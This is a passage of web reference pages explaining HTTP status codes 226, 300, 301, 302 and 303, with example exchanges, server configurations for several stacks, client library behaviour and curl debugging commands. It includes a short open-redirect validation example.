full response with 200 as usual. The original use case was RSS and Atom polling, where each fetch re-downloaded a feed that had changed by a single item. Servers had to keep or compute deltas per base version, caches in the middle needed to understand `Delta-Base`, and clients needed patch code. Gzip and `304 Not Modified` turned out to get most of the benefit. ## Why it did not catch on Three things worked against it. Delta generation needs the server to retain old versions or compute a diff per client base, which does not scale on a CDN where each edge node sees different clients. Intermediaries that do not know `A-IM` cannot cache the delta response safely, because the same URL and the same request headers (apart from `If-None-Match`) produce different bodies. And clients need a diff library for every format they advertise, plus a way to fall back when the base copy has been evicted. A plain 304 plus gzip wins on simplicity. The IANA registry still lists 226 under RFC 3229, so tools such as status code enumerations and the Python `http.HTTPStatus` enum include it. That is the most likely place you will meet the name. ## Practical notes - 226 is not in RFC 9110's list of status codes that are cacheable by default, so send explicit freshness headers if you ever implement it. - Clients must not send `A-IM` to arbitrary servers expecting the feature to work. A normal server ignores it and returns 200, which is the safe fallback. - If you want incremental sync today, design it into the API (a `since` cursor, `If-None-Match` with 304, or a change stream), not into the protocol layer. ## Try it with curl `226 IM Used` comes from delta encoding (RFC 3229), which almost no server or CDN implements. If a server does, you ask for it with `A-IM` plus the ETag of the version you already hold, and the reply carries an `IM` header naming the delta format. curl does not apply deltas, it only shows the response. ```bash curl -i -H 'If-None-Match: "v41"' -H 'A-IM: vcdiff, gzip' https://example.com/feed.xml ``` ## Related - [206 Partial Content](https://howhttpworks.com/status-codes/206) - [304 Not Modified](https://howhttpworks.com/status-codes/304) - [200 OK](https://howhttpworks.com/status-codes/200) - [ETag](https://howhttpworks.com/headers/etag) --- # 300 Multiple Choices > The request has multiple possible responses. Learn when to use 300 Multiple Choices for content negotiation and alternative resource locations. Source: https://howhttpworks.com/status-codes/300 Last reviewed: 2026-10-04 > **TL;DR:** Resource has multiple formats available (PDF, HTML, etc.). Choose your preferred option from the provided list. ## What is 300 Multiple Choices? A **300 Multiple Choices** status code indicates that the requested resource has multiple representations available, and the client should choose one. Think of it like a menu at a restaurant offering the same dish in different sizes or preparation styles—you get to pick which variation you want. This status code is used for content negotiation when a server can provide the same resource in different formats, languages, or locations, giving the client the power to select the most appropriate option. ## When Does This Happen? You'll see a 300 Multiple Choices response in these situations: **1. Multiple Format Options** ```text /document can be: → /document.pdf → /document.html → /document.txt ``` **2. Language Variants** ```text /page has translations: → /page/en (English) → /page/es (Spanish) → /page/fr (French) ``` **3. Resolution Options** ```text /image.jpg available as: → /image-hd.jpg (1920x1080) → /image-sd.jpg (1280x720) → /image-thumb.jpg (320x240) ``` **4. Mirror Locations** ```text /download available from: → /download/us-east → /download/eu-west → /download/asia-pacific ``` **5. API Version Selection** ```text /api/resource supports: → /api/v1/resource → /api/v2/resource → /api/v3/resource ``` ## Example Responses **Multiple Format Choices:** ```http HTTP/1.1 300 Multiple Choices Content-Type: text/html Location: /document.pdf Multiple Choices

Multiple Formats Available

This document is available in multiple formats:

``` **Language Selection:** ```http HTTP/1.1 300 Multiple Choices Content-Type: application/json Vary: Accept-Language { "message": "Multiple language versions available", "choices": [ { "lang": "en", "url": "/page/en", "title": "English Version" }, { "lang": "es", "url": "/page/es", "title": "Spanish Version" }, { "lang": "fr", "url": "/page/fr", "title": "French Version" } ] } ``` **Mirror Selection:** ```http HTTP/1.1 300 Multiple Choices Content-Type: text/html Link: ; rel="alternate"; geo="US" Link: ; rel="alternate"; geo="EU" Choose Download Location

Select Download Mirror

``` ## Real-World Example Imagine you're requesting a technical whitepaper that's available in multiple formats: **Client Request:** ```http GET /whitepaper HTTP/1.1 Host: docs.example.com User-Agent: Mozilla/5.0... Accept: */* ``` **300 Multiple Choices Response:** ```http HTTP/1.1 300 Multiple Choices Content-Type: text/html; charset=utf-8 Location: /whitepaper.pdf Link: ; rel="alternate"; type="application/pdf" Link: ; rel="alternate"; type="text/html" Link: ; rel="alternate"; type="application/epub+zip" Content-Length: 892 Download Options - Technical Whitepaper

Choose Your Preferred Format

This whitepaper is available in multiple formats:

PDF (Recommended)

Best for printing and archiving

Download PDF (2.4 MB)

HTML

Read online with interactive examples

View HTML Version

EPUB

For e-readers and mobile devices

Download EPUB (1.8 MB)

Markdown

Source format for developers

Download Markdown (456 KB)
``` ## 300 vs Other Redirect Codes | Code | Meaning | Use Case | Client Choice | | ------- | ----------------- | ------------------------- | ---------------------- | | **300** | Multiple choices | Multiple valid options | Client selects | | **301** | Moved Permanently | Single permanent redirect | Automatic redirect | | **302** | Found | Single temporary redirect | Automatic redirect | | **303** | See Other | After POST operation | Automatic GET redirect | ## Important Characteristics **Client-Driven Selection:** ```http HTTP/1.1 300 Multiple Choices ↑ Server provides options, client decides ``` **Optional Location Header:** ```http HTTP/1.1 300 Multiple Choices Location: /document.pdf ← Optional: Server's preferred choice HTML body lists all options ``` **Rarely Used in Practice:** - Most servers auto-negotiate based on Accept headers - Direct 301/302 redirects are more common - Modern APIs use content negotiation instead **Content Negotiation Alternative:** ```http Instead of 300: Accept: application/json → 200 OK (JSON response) Accept: text/html → 200 OK (HTML response) ``` ## Common Mistakes **❌ Using 300 instead of content negotiation** ```http GET /data Accept: application/json HTTP/1.1 300 Multiple Choices ← Bad [List of format options] Better: Return JSON directly (200 OK) ``` **❌ No meaningful choices** ```http HTTP/1.1 300 Multiple Choices Option 1 ← All links are identical Option 2 ``` **❌ Missing response body** ```http HTTP/1.1 300 Multiple Choices Location: /option1 ← No body explaining choices ``` **✅ Correct usage** ```http HTTP/1.1 300 Multiple Choices Content-Type: text/html Location: /document.pdf

Choose Format

  • PDF - Best for printing
  • HTML - Best for reading online
``` ## Getting 300 Multiple Choices right **Provide Clear Descriptions:** ```html

PDF Version

Best for: Printing, offline reading, archiving

Size: 2.4 MB

Download PDF

Interactive HTML

Best for: Online reading, searchable, mobile-friendly

Includes: Interactive code examples

View HTML
``` **Include Machine-Readable Metadata:** ```http HTTP/1.1 300 Multiple Choices Link: ; rel="alternate"; type="application/json" Link: ; rel="alternate"; type="application/xml" Link: ; rel="alternate"; type="text/csv" Content-Type: text/html ... ``` **Recommend a Default:** ```http HTTP/1.1 300 Multiple Choices Location: /document.pdf ← Recommended default

Recommended: PDF Version

Other options: ...

``` **Consider Auto-Negotiation Instead:** ```javascript // Modern approach: Auto-negotiate based on Accept header app.get('/document', (req, res) => { const acceptHeader = req.headers.accept if (acceptHeader.includes('application/pdf')) { res.redirect('/document.pdf') } else if (acceptHeader.includes('text/html')) { res.redirect('/document.html') } else { // Fall back to 300 if can't determine res.status(300).render('choices', { options }) } }) ``` ## Implementation Examples **Express.js:** ```javascript app.get('/download', (req, res) => { const options = [ { url: '/download.pdf', type: 'application/pdf', label: 'PDF' }, { url: '/download.epub', type: 'application/epub+zip', label: 'EPUB' }, { url: '/download.mobi', type: 'application/x-mobipocket-ebook', label: 'MOBI' } ] res .status(300) .set('Location', '/download.pdf') // Default .set('Link', options.map((o) => `<${o.url}>; rel="alternate"; type="${o.type}"`).join(', ')) .render('multiple-choices', { options }) }) ``` **Apache .htaccess:** ```apache # Rarely used, but possible # Return 300 with choices ErrorDocument 300 /choices.html Header set Status "300 Multiple Choices" ``` **Nginx:** ```nginx location /resource { return 300; add_header Content-Type text/html; add_header Location /resource.pdf; # Serve choice page try_files /choices.html =404; } ``` **Python Flask:** ```python from flask import Flask, render_template app = Flask(__name__) @app.route('/document') def document(): options = [ {'url': '/document.pdf', 'format': 'PDF', 'size': '2.4 MB'}, {'url': '/document.html', 'format': 'HTML', 'size': 'N/A'}, {'url': '/document.txt', 'format': 'Plain Text', 'size': '45 KB'} ] response = render_template('choices.html', options=options) return response, 300, { 'Location': '/document.pdf', 'Link': '; rel="alternate"; type="application/pdf"' } ``` ## Try It Yourself Visit our [request builder](https://howhttpworks.com/tools/playground) and see 300 Multiple Choices: 1. Set method to **GET** 2. Set path to **/multi-format-demo** 3. Click **Send request** 4. See 300 response with multiple format options 5. Explore different choice presentations ## Try it with curl Request a resource that exists in several representations and read what the server offers. Because the choice is left to the client, you pick a URL from the list and request it yourself. ```bash curl -i https://example.com/report curl -i https://example.com/report.pdf ``` Example output (illustrative, not captured from a real server): ```http HTTP/1.1 300 Multiple Choices Content-Type: text/html Link: ; rel="alternate"; type="application/pdf" ``` In practice 300 is rare. Most servers pick a representation with content negotiation and answer `200` or [406](https://howhttpworks.com/status-codes/406) instead. ## Related Status Codes - [301 Moved Permanently](https://howhttpworks.com/status-codes/301) - Single permanent redirect - [302 Found](https://howhttpworks.com/status-codes/302) - Single temporary redirect - [406 Not Acceptable](https://howhttpworks.com/status-codes/406) - No acceptable representation available - [200 OK](https://howhttpworks.com/status-codes/200) - Single successful response (after choice made) --- # HTTP 301 Moved Permanently: Permanent Redirect > Learn what 301 redirect means, when to use it vs 302, and how to implement permanent redirects for SEO and URL changes. Source: https://howhttpworks.com/status-codes/301 Last reviewed: 2026-10-05 > **TL;DR:** 301 Moved Permanently means the requested URL has permanently moved to another URL. Update your client or links to `Location`; if the destination is wrong, fix the redirect rule and check with browser caching disabled. ## What it means The server is saying the target URL has a new permanent address. Clients should use the new URL for future requests. For Google, a permanent redirect is a canonicalization signal; see the SEO section below. The HTTP exchanges on this page are illustrative. ```http GET /old-page HTTP/1.1 Host: example.com HTTP/1.1 301 Moved Permanently Location: https://example.com/new-page Content-Length: 0 ``` Two spec details that matter in practice (RFC 9110 section 15.4.2): - A 301 is heuristically cacheable unless the method or explicit cache controls say otherwise. A cache can reuse it without contacting the server. Set an explicit freshness policy when you need a predictable lifetime; the status alone sets no fixed duration. - A user agent may change POST to GET on 301. The [Fetch redirect algorithm](https://fetch.spec.whatwg.org/#http-redirect-fetch) requires that change for browser requests. If a POST or PUT must arrive intact at the new URL, use [308](https://howhttpworks.com/status-codes/308). ## What you see in your client An HTTP 301 is a redirect response. Automatic following can hide it behind the destination's status, so inspect the first response when your browser and script appear to disagree. - **Axios:** in Node's HTTP adapter, `maxRedirects: 0` exposes the redirect. With the default success predicate, it rejects with `AxiosError: Request failed with status code 301`. Accept the code in `validateStatus` to inspect `response.headers.location`. The behavior comes from the [HTTP adapter](https://github.com/axios/axios/blob/v1.x/lib/adapters/http.js), [defaults](https://github.com/axios/axios/blob/v1.x/lib/defaults/index.js) and [error construction](https://github.com/axios/axios/blob/v1.x/lib/core/settle.js). - **Browser fetch:** follows redirects by default and returns the final response. With `redirect: 'manual'`, a browser returns `type: 'opaqueredirect'`, `status: 0` and `ok: false`, with hidden headers. A directly exposed 301 would also have `ok: false`, since only 200–299 passes. Use the Network panel or curl for the actual `Location`; these rules are in the [Fetch Standard](https://fetch.spec.whatwg.org/#concept-request-redirect-mode). - **Python requests:** `requests.get(url, allow_redirects=False)` exposes 301; `raise_for_status()` returns normally and `response.ok` is `True`. Inspect `response.headers['Location']`. Its [error guard](https://requests.readthedocs.io/en/latest/_modules/requests/models/#Response.raise_for_status) raises for 4xx/5xx, while [GET follows by default](https://github.com/psf/requests/blob/main/src/requests/sessions.py). - **curl `-f`:** accepts 301; `-L` enables following. Without `-L`, inspect the headers using `-i`. The [manual](https://curl.se/docs/manpage.html#-f) reserves failure code 22 for HTTP responses of 400 or greater. - **.NET:** set `HttpClientHandler.AllowAutoRedirect = false` to inspect the first response. Calling `EnsureSuccessStatusCode()` then throws `HttpRequestException`; with English resources and reason phrase `Moved Permanently`, the message is `Response status code does not indicate success: 301 (Moved Permanently).` See the [redirect setting](https://learn.microsoft.com/en-us/dotnet/api/system.net.http.httpclienthandler.allowautoredirect), [guard](https://github.com/dotnet/runtime/blob/main/src/libraries/System.Net.Http/src/System/Net/Http/HttpResponseMessage.cs) and [message resources](https://github.com/dotnet/runtime/blob/main/src/libraries/System.Net.Http/src/Resources/Strings.resx). - **Spring:** [`WebClient.retrieve()`](https://docs.spring.io/spring-framework/reference/web/webflux-webclient/client-retrieve.html) uses `WebClientResponseException` for 4xx/5xx by default. [`RestTemplate`'s default handler](https://github.com/spring-projects/spring-framework/blob/main/spring-web/src/main/java/org/springframework/web/client/DefaultResponseErrorHandler.java) likewise treats those ranges as errors; a 301 alone produces neither that exception nor `HttpClientErrorException`. ## Who sent it? ```bash curl -sI http://example.com/old-page ``` ```http HTTP/1.1 301 Moved Permanently Server: nginx Location: https://example.com/old-page ``` Use response headers such as `Server` as clues, then correlate the request with edge rules and origin logs. A CDN can forward an origin redirect or emit its own; identify the matching rule before editing your app. Follow the full chain and count hops: ```bash curl -sIL -o /dev/null -w '%{num_redirects} hops, final %{url_effective} (%{http_code})\n' http://example.com/old-page ``` For a visual chain check use the [redirect audit tool](https://howhttpworks.com/tools/redirect-audit). ## Implementation ### nginx ```nginx location = /old-page { return 301 /new-page; } # HTTP to HTTPS server { listen 80; server_name example.com www.example.com; return 301 https://example.com$request_uri; } ``` ### Apache ```apache Redirect 301 /old-page /new-page RewriteEngine On RewriteCond %{HTTPS} off RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301] ``` ### Express ```javascript // res.redirect defaults to 302, so pass 301 explicitly app.get('/old-page', (req, res) => res.redirect(301, '/new-page')) ``` ### Next.js ```javascript // next.config.js: permanent: true sends 308, not 301 module.exports = { async redirects() { return [{ source: '/old-page', destination: '/new-page', permanent: true }] } } ``` Next.js `permanent: true` emits 308. Use middleware or a platform rule if you specifically need a 301. ## Common causes by stack **Express / Rails:** Express requires [`res.redirect(301, '/new-page')`](https://expressjs.com/en/5x/api/response/#res.redirect); Rails uses [`redirect_to '/new-page', status: :moved_permanently`](https://api.rubyonrails.org/classes/ActionController/Redirecting.html). Both default to 302 when you omit the status. Check that argument before diagnosing a permanent redirect as a framework default. **Django:** [`redirect('/new-page/', permanent=True)`](https://docs.djangoproject.com/en/5.2/topics/http/shortcuts/#redirect) emits 301 with the default `preserve_request=False`. Inspect the view's flags; adding `preserve_request=True` selects 308 instead. **nginx / Apache:** nginx's [`return 301`](https://nginx.org/en/docs/http/ngx_http_rewrite_module.html#return) and Apache's [`Redirect 301`](https://httpd.apache.org/docs/2.4/mod/mod_alias.html#redirect) emit permanent moves. For nginx, run `nginx -T` and inspect the matching `server_name`, `location` and `return` lines; [`-T`](https://nginx.org/en/docs/switches.html) prints the loaded configuration as well as checking it. **Cloudflare:** [Always Use HTTPS](https://developers.cloudflare.com/api/resources/zones/subresources/settings/) answers HTTP requests with 301 to the equivalent HTTPS URL. Check that setting and Redirect Rules when a request redirects before appearing in origin logs. For an HTTPS loop, inspect [SSL mode and origin redirect rules](https://developers.cloudflare.com/ssl/troubleshooting/too-many-redirects/) together. **AWS ALB:** a matching listener `redirect` action with `StatusCode: HTTP_301` returns 301. Inspect the [rule's substitutions](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/rule-action-types.html#redirect-actions) for host, protocol, port and path; a stale hostname there can redirect every request to an obsolete site. **Kubernetes ingress-nginx:** [`nginx.ingress.kubernetes.io/permanent-redirect`](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/annotations/#permanent-redirect) selects 301 unless `permanent-redirect-code` overrides it. Inspect the Ingress metadata when the backend never sees the request. Its automatic TLS redirect defaults to 308, so distinguish that rule from a permanent-redirect annotation. ## The cache trap Because 301 is cached, a mistake sticks. Typical incidents: a redirect to a staging host that was later removed, an `http` to `https` redirect added before the certificate worked, or a loop that persists in the browser after the server is fixed (`ERR_TOO_MANY_REDIRECTS`). Fixes: - Test new rules with 302 and promote to 301 once verified. - Send `Cache-Control: max-age=3600` on a 301 you are unsure about, so that cached redirect becomes stale after an hour, accounting for its current age. A new request after expiry can fetch the corrected rule. - To reproduce a "fixed on the server, still broken in my browser" report, run `curl -sI` (curl does not cache) and compare with a new private browser session. In Chrome, DevTools Network with [Disable cache](https://developer.chrome.com/docs/devtools/network/reference/#disable-cache) ticked bypasses the browser cache. - [HSTS](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Strict-Transport-Security) is a separate policy: while it applies, the browser upgrades HTTP URLs to HTTPS before sending the request. Diagnose that browser upgrade separately from a server-issued 301. ## SEO - Google treats 301 and 308 as a [strong signal](https://developers.google.com/search/docs/crawling-indexing/301-redirects) that the destination should be canonical. Use the code that matches the permanence of the move. - Google recommends keeping migration redirects for [at least a year](https://developers.google.com/search/docs/crawling-indexing/site-move-with-url-changes). Keep useful redirects longer while old links remain in circulation. - Update internal links and sitemaps to the final URL instead of relying on the redirect. - Collapse chains (A to B to C) into a single hop; Googlebot follows a limited number of hops and every hop adds latency. ## 301 vs the other redirects | Code | Permanence | Method on follow | Use | | ---- | ---------- | ---------------------------------- | --------------------------------- | | 301 | Permanent | POST may become GET | Page and site moves, HTTP to HTTPS | | 302 | Temporary | POST may become GET | Short-lived moves, login bounces | | 307 | Temporary | Preserved | API temporary redirect | | 308 | Permanent | Preserved | API endpoint moved for good | See also [301 vs 302](https://howhttpworks.com/compare/301-vs-302) and [302 vs 307](https://howhttpworks.com/compare/302-vs-307). ## Related - [302 Found](https://howhttpworks.com/status-codes/302) - [307 Temporary Redirect](https://howhttpworks.com/status-codes/307) - [308 Permanent Redirect](https://howhttpworks.com/status-codes/308) - [Location header](https://howhttpworks.com/headers/location) - [301 vs 308](https://howhttpworks.com/compare/301-vs-308): when a redirected POST must stay a POST. --- # HTTP 302 Found: Temporary Redirect > Learn what 302 redirect means, when to use temporary vs permanent redirects, and how 302 differs from 301, 307, and 308. Source: https://howhttpworks.com/status-codes/302 Last reviewed: 2026-10-05 > **TL;DR:** 302 Found means the requested URL temporarily redirects to another URL. Follow `Location`; if the redirect is unexpected or loops, inspect the first response and the rule that sends it. Use 307 when the request method and body must survive. ## What it means The HTTP exchanges below are illustrative. A request to `/promo` receives a temporary destination in `Location`. ```http GET /promo HTTP/1.1 Host: example.com HTTP/1.1 302 Found Location: /current-sale ``` 302 is not heuristically cacheable. Explicit freshness such as `Cache-Control: max-age=600` can make a GET redirect reusable for ten minutes ([RFC 9111 section 4.2.2](https://www.rfc-editor.org/rfc/rfc9111.html#section-4.2.2)). Express's `res.redirect('/x')` defaults to 302; pass a status explicitly for a permanent move. ## What you see in your client An HTTP 302 is a redirect response. Automatic following can hide it behind the destination's status, so inspect the first response when your browser and script appear to disagree. - **Axios:** in Node's HTTP adapter, `maxRedirects: 0` exposes the redirect. With the default success predicate, it rejects with `AxiosError: Request failed with status code 302`. Accept the code in `validateStatus` to inspect `response.headers.location`. The behavior comes from the [HTTP adapter](https://github.com/axios/axios/blob/v1.x/lib/adapters/http.js), [defaults](https://github.com/axios/axios/blob/v1.x/lib/defaults/index.js) and [error construction](https://github.com/axios/axios/blob/v1.x/lib/core/settle.js). - **Browser fetch:** follows redirects by default and returns the final response. With `redirect: 'manual'`, a browser returns `type: 'opaqueredirect'`, `status: 0` and `ok: false`, with hidden headers. A directly exposed 302 would also have `ok: false`, since only 200–299 passes. Use the Network panel or curl for the actual `Location`; these rules are in the [Fetch Standard](https://fetch.spec.whatwg.org/#concept-request-redirect-mode). - **Python requests:** `requests.get(url, allow_redirects=False)` exposes 302; `raise_for_status()` returns normally and `response.ok` is `True`. Inspect `response.headers['Location']`. Its [error guard](https://requests.readthedocs.io/en/latest/_modules/requests/models/#Response.raise_for_status) raises for 4xx/5xx, while [GET follows by default](https://github.com/psf/requests/blob/main/src/requests/sessions.py). - **curl `-f`:** accepts 302; `-L` enables following. Without `-L`, inspect the headers using `-i`. The [manual](https://curl.se/docs/manpage.html#-f) reserves failure code 22 for HTTP responses of 400 or greater. - **.NET:** set `HttpClientHandler.AllowAutoRedirect = false` to inspect the first response. Calling `EnsureSuccessStatusCode()` then throws `HttpRequestException`; with English resources and reason phrase `Found`, the message is `Response status code does not indicate success: 302 (Found).` See the [redirect setting](https://learn.microsoft.com/en-us/dotnet/api/system.net.http.httpclienthandler.allowautoredirect), [guard](https://github.com/dotnet/runtime/blob/main/src/libraries/System.Net.Http/src/System/Net/Http/HttpResponseMessage.cs) and [message resources](https://github.com/dotnet/runtime/blob/main/src/libraries/System.Net.Http/src/Resources/Strings.resx). - **Spring:** [`WebClient.retrieve()`](https://docs.spring.io/spring-framework/reference/web/webflux-webclient/client-retrieve.html) uses `WebClientResponseException` for 4xx/5xx by default. [`RestTemplate`'s default handler](https://github.com/spring-projects/spring-framework/blob/main/spring-web/src/main/java/org/springframework/web/client/DefaultResponseErrorHandler.java) likewise treats those ranges as errors; a 302 alone produces neither that exception nor `HttpClientErrorException`. ## Which temporary redirect? | Situation | Use | Why | | ------------------------------------------------- | --- | --------------------------------------------------------------- | | After a form POST, send the user to a result page | 303 | Always becomes GET; the precise code for Post/Redirect/Get | | Temporary move and the method/body must survive | 307 | POST stays POST | | Plain GET page redirected temporarily | 302 | Works everywhere; method change is harmless for GET | RFC 9110 allows POST to become GET on 302. The [Fetch redirect algorithm](https://fetch.spec.whatwg.org/#http-redirect-fetch) makes that change for browser requests; 307 preserves the method and body. See [302 vs 307](https://howhttpworks.com/compare/302-vs-307). ## Implementation ### Express ```javascript // Login redirect: encode user input and keep the target on-site app.get('/dashboard', (req, res, next) => { if (!req.user) { return res.redirect(302, `/login?returnTo=${encodeURIComponent(req.originalUrl)}`) } next() }) // After login: validate returnTo before redirecting (open-redirect defense) app.post('/login', (req, res) => { const target = String(req.query.returnTo || '/') const safe = target.startsWith('/') && !target.startsWith('//') && !target.startsWith('/\\') res.redirect(303, safe ? target : '/') }) ``` An unvalidated `returnTo` lets an attacker craft `https://yoursite.com/login?returnTo=https://evil.example`, which turns your domain into a phishing launchpad. Allow only same-site relative paths or an explicit allowlist of hosts. ### nginx ```nginx location = /promo { return 302 /current-sale; } ``` ## Common causes by stack **Express:** [`res.redirect('/login')`](https://expressjs.com/en/5x/api/response/#res.redirect) defaults to 302. Check authentication middleware when an API suddenly returns a login page; use an API's documented authentication response instead of sending its client through an HTML login flow. **Django:** [`redirect('/login/')`](https://docs.djangoproject.com/en/5.2/topics/http/shortcuts/#redirect) defaults to 302. Check the view or authentication wrapper that chooses the target. Use `permanent=True` for a permanent move; use `preserve_request=True` when the method/body must remain intact, which selects 307 for a temporary redirect. **Laravel:** `redirect()->to('/dashboard')` uses 302 by default; the [`Redirector` source](https://github.com/laravel/framework/blob/12.x/src/Illuminate/Routing/Redirector.php) declares `$status = 302`. Trace that response call when a successful form POST appears as “302 Found” in the Network panel, then inspect the following GET. **Rails:** [`redirect_to`](https://api.rubyonrails.org/classes/ActionController/Redirecting.html) defaults to 302. Set `status: :see_other` after a form mutation when the destination is a result page, and inspect the session cookie if the destination sends the user straight back to login. **nginx / Apache:** nginx's [`return 302 /current-sale;`](https://nginx.org/en/docs/http/ngx_http_rewrite_module.html#return) explicitly emits the temporary redirect. Apache's [`Redirect /promo /current-sale`](https://httpd.apache.org/docs/2.4/mod/mod_alias.html#redirect) uses 302 when the status is omitted. Inspect the loaded virtual host or location for a matching rule before changing application code. **AWS ALB:** a listener `redirect` action with `StatusCode: HTTP_302` returns 302 before the request reaches a target. Check the matching [listener rule](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/rule-action-types.html#redirect-actions) and its protocol, host, port and path substitutions; at least one must change to avoid a loop. **Kubernetes ingress-nginx:** `nginx.ingress.kubernetes.io/temporal-redirect` returns 302 instead of forwarding to the upstream. Inspect that [Ingress annotation](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/annotations/#temporal-redirect) when the application's logs show no request. FastAPI's Starlette [`RedirectResponse`](https://github.com/encode/starlette/blob/master/starlette/responses.py) defaults to 307, so a FastAPI 302 requires an explicit status or another layer's redirect rule. Inspect `RedirectResponse(url, status_code=302)` before attributing the response to the framework's default. ## SEO behavior Google [follows a 302](https://developers.google.com/search/docs/crawling-indexing/301-redirects) but does not use that temporary redirect to select the destination as canonical. Other canonicalization signals can affect which URL appears in search. Use [301](https://howhttpworks.com/status-codes/301) or [308](https://howhttpworks.com/status-codes/308) for a permanent move, and retain 302 for a destination you expect to revert. ## Debugging ```bash curl -sI https://example.com/promo curl -sIL -o /dev/null -w '%{http_code} -> %{url_effective}\n' https://example.com/promo # See what a POST turns into (curl -L switches POST to GET on 301/302/303 unless --post302) curl -si -L -d 'a=1' https://example.com/form ``` Chrome reports [`ERR_TOO_MANY_REDIRECTS`](https://support.google.com/chrome/answer/95669) when a chain loops. Inspect cookies during a repeated dashboard-to-login bounce; for a scheme loop, compare the edge and origin HTTPS rules. Cloudflare documents [loops caused by Flexible mode and origin HTTPS redirects](https://developers.cloudflare.com/ssl/troubleshooting/too-many-redirects/). Trace the chain with the [redirect audit tool](https://howhttpworks.com/tools/redirect-audit). ### Inspect a redirect without following it For an API call, use `curl -si` with the actual request method and body, then read `Location` before enabling `-L`. A HEAD probe with `-I` can exercise a different route from your POST. Repeat the request with `-L -v` to inspect the outgoing methods in a test environment. In the command above, `-d` selects POST. Adding `-X POST` would force that method string on subsequent requests with `-L`, masking the normal POST-to-GET change. Use `--post302` only when deliberately testing curl's method-preserving behavior; the [curl manual](https://curl.se/docs/manpage.html#-L) distinguishes it from the default. ## Post/Redirect/Get PRG makes a result-page reload repeat a GET instead of submitting the original POST again. The server handles the POST, then redirects the browser to a GET page; reloading that page repeats only the GET. Fetch changes POST to GET on 302, but 303 states the intended retrieval explicitly ([RFC 9110 section 15.4.4](https://www.rfc-editor.org/rfc/rfc9110.html#section-15.4.4)). ```http POST /posts HTTP/1.1 Host: example.com Content-Length: 0 HTTP/1.1 303 See Other Location: /posts/123 ``` ## Related - [301 Moved Permanently](https://howhttpworks.com/status-codes/301) - [303 See Other](https://howhttpworks.com/status-codes/303) - [307 Temporary Redirect](https://howhttpworks.com/status-codes/307) - [Location header](https://howhttpworks.com/headers/location) --- # 303 See Other > Redirect to a different resource using GET. Learn when to use 303 to prevent form resubmission and implement the Post-Redirect-Get pattern. Source: https://howhttpworks.com/status-codes/303 Last reviewed: 2026-10-04 > **TL;DR:** 303 See Other redirects you to a different URL using GET. Used after form submissions to prevent resubmission on refresh. A **303 See Other** status code tells the client to retrieve the requested resource at a different URL using a GET request, regardless of the original request method. Think of it like submitting a form at a post office—once they process your submission (POST), they hand you a receipt (redirect to GET) instead of making you fill out the form again. This is the cornerstone of the Post-Redirect-Get (PRG) pattern, preventing the dreaded "Do you want to resubmit the form?" browser warning. ## When Does This Happen? You'll see a 303 See Other response in these common situations: **1. Form Submission Success** ```text User submits form → Server processes → 303 to success page POST /checkout → 303 → GET /order/12345/confirmation ``` **2. Post-Redirect-Get Pattern** ```text Prevent duplicate form submissions POST /create-account → 303 → GET /welcome ``` **3. Upload Completion** ```text File uploaded successfully → Redirect to file details POST /upload → 303 → GET /files/document-123 ``` **4. API Resource Creation** ```text Resource created → Redirect to resource view POST /api/articles → 303 → GET /api/articles/new-article-id ``` **5. Search Results** ```text Search form submitted → Redirect to results page POST /search → 303 → GET /search?q=keyword ``` ## Example Responses **Form Submission Redirect:** ```http HTTP/1.1 303 See Other Location: https://example.com/order/12345/confirmation Content-Type: text/html Content-Length: 0 ``` **Account Creation:** ```http HTTP/1.1 303 See Other Location: https://app.com/welcome Set-Cookie: user_id=67890; Path=/; HttpOnly; Secure Cache-Control: no-cache

Account Created!

Redirecting to your dashboard...

Click here if not redirected

``` **File Upload Success:** ```http HTTP/1.1 303 See Other Location: https://storage.example.com/files/doc-abc123 ETag: "upload-complete" X-Upload-ID: abc123 Content-Type: text/plain Upload successful. Redirecting to file details... ``` ## Real-World Example Imagine you're processing a payment on an e-commerce site: **User Submits Payment:** ```http POST /checkout/pay HTTP/1.1 Host: shop.com Content-Type: application/x-www-form-urlencoded Content-Length: 156 card_number=4111111111111111&expiry=12/28&cvv=123&amount=99.99 ``` **Server Processes and Redirects:** ```http HTTP/1.1 303 See Other Location: https://shop.com/order/ORD-2026-001/success Set-Cookie: order_id=ORD-2026-001; Path=/ Cache-Control: no-store, no-cache Content-Type: text/html Payment Processed

Payment Successful!

Your payment has been processed. Redirecting to confirmation page...

If not redirected, click here

``` **Browser Automatically Follows with GET:** ```http GET /order/ORD-2026-001/success HTTP/1.1 Host: shop.com Cookie: order_id=ORD-2026-001 ``` **Success Page Response:** ```http HTTP/1.1 200 OK Content-Type: text/html Order Confirmation

Thank You for Your Order!

Order ID: ORD-2026-001

Amount: $99.99

Confirmation email sent to your address.

``` ## 303 vs Other Redirect Codes | Code | Meaning | Method Change | Use Case | Caching | | ------- | ------------------ | ------------------ | ---------------------- | ---------------- | | **303** | See other | Always becomes GET | After POST/PUT/DELETE | Not cached | | **302** | Found (temporary) | May change to GET | Temporary redirects | Short-term cache | | **307** | Temporary redirect | Preserves method | Temporary, keep method | Not cached | | **301** | Moved permanently | May change to GET | Permanent redirects | Long-term cache | ## Important Characteristics **Always Changes to GET:** ```http POST /form-submit ↓ HTTP/1.1 303 See Other Location: /success ↓ GET /success ← Always GET, never POST ``` **Prevents Form Resubmission:** ```text Without 303: User submits form → 200 OK → User refreshes → "Resubmit form?" warning With 303: User submits form → 303 redirect → GET success page → User refreshes → Safe GET request ``` **Not Cached by Default:** ```http HTTP/1.1 303 See Other Location: /result Cache-Control: no-store ← Typically not cached ``` ## Common Mistakes **❌ Using 302 instead of 303 after POST** ```http POST /form-submit HTTP/1.1 302 Found ← Browser behavior is unpredictable Location: /success ← Should use 303 for POST-redirect-GET ``` **❌ Not implementing PRG pattern** ```javascript // Bad: Returning HTML directly after POST app.post('/submit', (req, res) => { processForm(req.body) res.render('success') // ← User refresh will resubmit }) ``` **❌ Using 303 for permanent redirects** ```http HTTP/1.1 303 See Other ← Wrong for permanent moves Location: /permanently-moved ← Should use 301 ``` **✅ Correct usage** ```http POST /form-submit HTTP/1.1 303 See Other Location: https://example.com/success Cache-Control: no-cache ``` ## Getting 303 See Other right **Implement Post-Redirect-Get Pattern:** ```javascript // Express.js example app.post('/checkout', async (req, res) => { const order = await processOrder(req.body) // Redirect with 303 to 